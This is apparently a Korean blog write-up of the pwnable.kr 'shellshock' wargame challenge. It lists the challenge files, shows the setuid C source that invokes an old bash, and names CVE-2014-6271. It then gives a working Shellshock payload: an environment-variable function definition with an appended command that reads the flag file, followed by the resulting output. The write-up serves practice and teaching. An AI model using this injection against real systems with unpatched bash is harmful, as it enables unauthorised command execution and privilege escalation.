Featured image of post pwnable.kr shell shock

pwnable.kr shell shock

주어진 경로에 접속하면 아래와 같은 파일이 주어진다.

shellshock@pwnable:~$ ls -al
total 980
drwxr-x---   5 root shellshock       4096 Oct 23  2016 .
drwxr-xr-x 116 root root             4096 Nov 11  2021 ..
-r-xr-xr-x   1 root shellshock     959120 Oct 12  2014 bash
d---------   2 root root             4096 Oct 12  2014 .bash_history
-r--r-----   1 root shellshock_pwn     47 Oct 12  2014 flag
dr-xr-xr-x   2 root root             4096 Oct 12  2014 .irssi
drwxr-xr-x   2 root root             4096 Oct 23  2016 .pwntools-cache
-r-xr-sr-x   1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r--   1 root root              188 Oct 12  2014 shellshock.c

파일들 중에 보면 shell shock라는 파일을 확인할 수 있고, 소스코드인 c파일을 먼저 실행하면 아래와 같은 내용을 확인 할 수 있다.

shellshock@pwnable:~$ cat shellshock.c
#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

해당 취약점은 bash의 환경변수와 선언에서 나타는 버그이고, 이를 이용하면 exploit이 가능했다. 공격 구문은 아래와 같다.

  • Shell Shock : CVE-2014-6271
shellshock@pwnable:~$ export x='() { echo hello; }; /bin/cat flag'
shellshock@pwnable:~$ ./shellshock 
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
comments powered by Disqus